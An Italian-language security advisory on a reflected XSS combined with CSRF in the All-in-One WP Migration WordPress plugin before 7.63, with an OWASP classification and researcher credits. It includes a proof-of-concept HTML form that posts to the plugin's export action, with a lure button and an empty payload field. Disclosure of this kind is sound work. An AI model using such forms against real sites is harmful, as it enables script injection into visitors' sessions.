
All-in-One WP Migration < 7.63 - XSS riflesso non autenticato + CSRF
Il plugin utilizza un tipo di contenuto errato per la risposta dell'azione ai1wm_export e non esegue un corretto escaping della stessa, consentendo a un attaccante di creare una richiesta che, quando viene inviata da un qualsiasi visitatore, inietta HTML o JavaScript arbitrario nella risposta, che verrà eseguito nella sessione della vittima.
Per riprodurre il difetto, possiamo esportare tutti i contenuti del sito tramite il plugin e inserire un nome non valido nel nome del file di output.
Convalidando la vulnerabilità, è possibile combinare l'attacco con un CSRF, che costringerà il browser della vittima a inviare una richiesta con il payload.
<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST">
<!--
Note: The secret key must be obtained through other means.
It is stored in the site option `ai1wm_secret_key`, but is
static for the lifetime of the site.
-->
<input type="hidden" name="secret_key" value="[secret_key]">
<input type="hidden" name="ai1wm_manual_export" value="1">
<input type="hidden" name="archive" value="">
<input type="submit" value="Get rich!">
</form>
All-in-One WP Migration < 7.63
Tipo: Cross-Site Scripting
OWASP TOP 10: A03:2021-Injection
Geovanni Campos (GeoZIN), Thiago Martins (Kirito), Jorge Buzeti (R3tr0), Leandro Inacio (Saitama), Lucas de Souza (Sinnat), Matheus Oliveira (Froyd), Filipe Baptistella (Baptistella), Leonardo Paiva (Megatron), Jose Thomaz (Pip3r), Joao Maciel (Yohan), Vinicius Pereira (Vini), , Hudson Nowak (Nowak) e Guilherme Acerbi (Ghost).